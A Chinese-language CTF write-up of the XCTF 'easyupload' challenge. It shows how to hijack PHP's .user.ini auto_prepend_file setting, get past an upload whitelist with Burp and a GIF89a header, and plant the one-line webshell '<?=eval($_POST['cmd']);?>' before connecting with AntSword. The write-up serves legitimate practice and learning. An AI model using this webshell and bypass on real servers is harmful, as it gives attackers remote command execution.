CTFer成长记录——CTF之Web专题·攻防世界—easyupload
一、题目链接
https://adworld.xctf.org.cn/challenges/list
二、解法步骤
这题一道文件上传题,本题考的是利用.user.ini文件的特性,实现任意命令执行。在测试该文件上传是白名单还是黑名单,我们可以随便上传一个文件后缀,只要不通过就是白名单检测。
.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
使用方法:
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
auto_prepend_file=01.gif //01.gif是你要上传的文件
所以,我们可以借助.user.ini轻松让所有php文件都自动包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
于是我们将auto_prepend_file=1.jpg
写入一个空的.txt文件中,然后改名改后缀为.user.int,接着将这个文件上传。注意:直接上传是不行的,需要bp抓包,修改请求包中的文件类型,用来绕过白名单检测:注意由于该题会对文件内容进行解析,所以要加上GIF89a这个文件欺骗头,让上传系统误认为我们上传的是图片。
最后显示上传成功。
然后就上传webshell即可:(上传的是1.jpg名称,要和.user.ini中后的文件名相同)
GIF89a //也需要包含文件欺骗头
<?=eval($_POST['cmd']);?>
//注意这里如果是<?php ?> 格式上传也是不成功的。
最后找到文件路径:xxx.uploads/index.php
用蚂剑连接即可:
三、总结
本题的文件上传是新知识,有对.user.ini的利用和一句话木马的格式改写,应当积累下来。